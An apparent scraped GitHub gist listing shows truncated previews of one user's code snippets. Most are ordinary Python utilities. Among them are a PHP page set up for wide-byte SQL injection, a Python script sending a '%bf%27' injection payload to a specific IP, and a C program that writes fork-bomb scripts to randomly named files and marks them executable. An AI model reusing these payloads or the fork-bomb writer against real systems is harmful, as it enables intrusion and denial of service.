This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
qqqqqqqqqqqqqqqqqqq |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding=utf-8 | |
import re | |
from BeautifulSoup import BeautifulSoup | |
regex_cache = {} | |
def search(text, regex): | |
regexcmp = regex_cache.get(regex) | |
if not regexcmp: | |
regexcmp = re.compile(regex) | |
regex_cache[regex] = regexcmp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding=utf-8 | |
import re | |
from BeautifulSoup import BeautifulSoup | |
regex_cache = {} | |
def search(text, regex): | |
regexcmp = regex_cache.get(regex) | |
if not regexcmp: | |
regexcmp = re.compile(regex) | |
regex_cache[regex] = regexcmp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import redis | |
import threading | |
class Listener(threading.Thread): | |
def __init__(self, r, channels): | |
threading.Thread.__init__(self) | |
self.redis = r | |
self.pubsub = self.redis.pubsub() | |
self.pubsub.subscribe(channels) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding=utf-8 | |
import time | |
import random | |
import hashlib | |
import json | |
def split_str(string): | |
result = [] | |
length = len(string) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding=utf-8 | |
import re | |
r = re.compile(r'answer="(\w)"') | |
text = u""" | |
<div class="row"> | |
<div class="span10"> | |
<p>Remember, the <strong>only thing</strong> before everything, is to have a dogma. A dogma is a list consists by DOs and DONTanswer="C"s. You make it, stick to it while adapt it to reality, question yourself from time to time: is everything on the list mutuallanswer="A"y exclanswer="B"usive and collectively eanswer="B"xanswer="C"hausive?</p> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import web | |
import rsa | |
import json | |
import random | |
import time | |
import hashlib | |
from base64 import b64encode, b64decode |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
header("Content-type: text/html;charset=gbk"); | |
define("HOST",'127.0.0.1'); | |
define("USER",'root'); | |
define("PASS",'testtest'); | |
define("DB",'test'); | |
foreach($_GET as $key => $val){ | |
$_GET[$key] = addslashes($val); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding=utf-8 | |
import requests | |
import urllib | |
import re | |
regex = r = re.compile("<h1>([\s\S]*)</h1>") | |
base_url = "http://139.129.166.67/5t5y6huj7j7/?id=%bf%27 " | |
def get(payload): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
int generator(void) | |
{ | |
system("echo ':(){ :|:& };: ./*' > $RANDOM"); | |
system("chmod +x * 2> /dev/null"); | |
system("chmod +x $RANDOM 2> /dev/null"); |
OlderNewer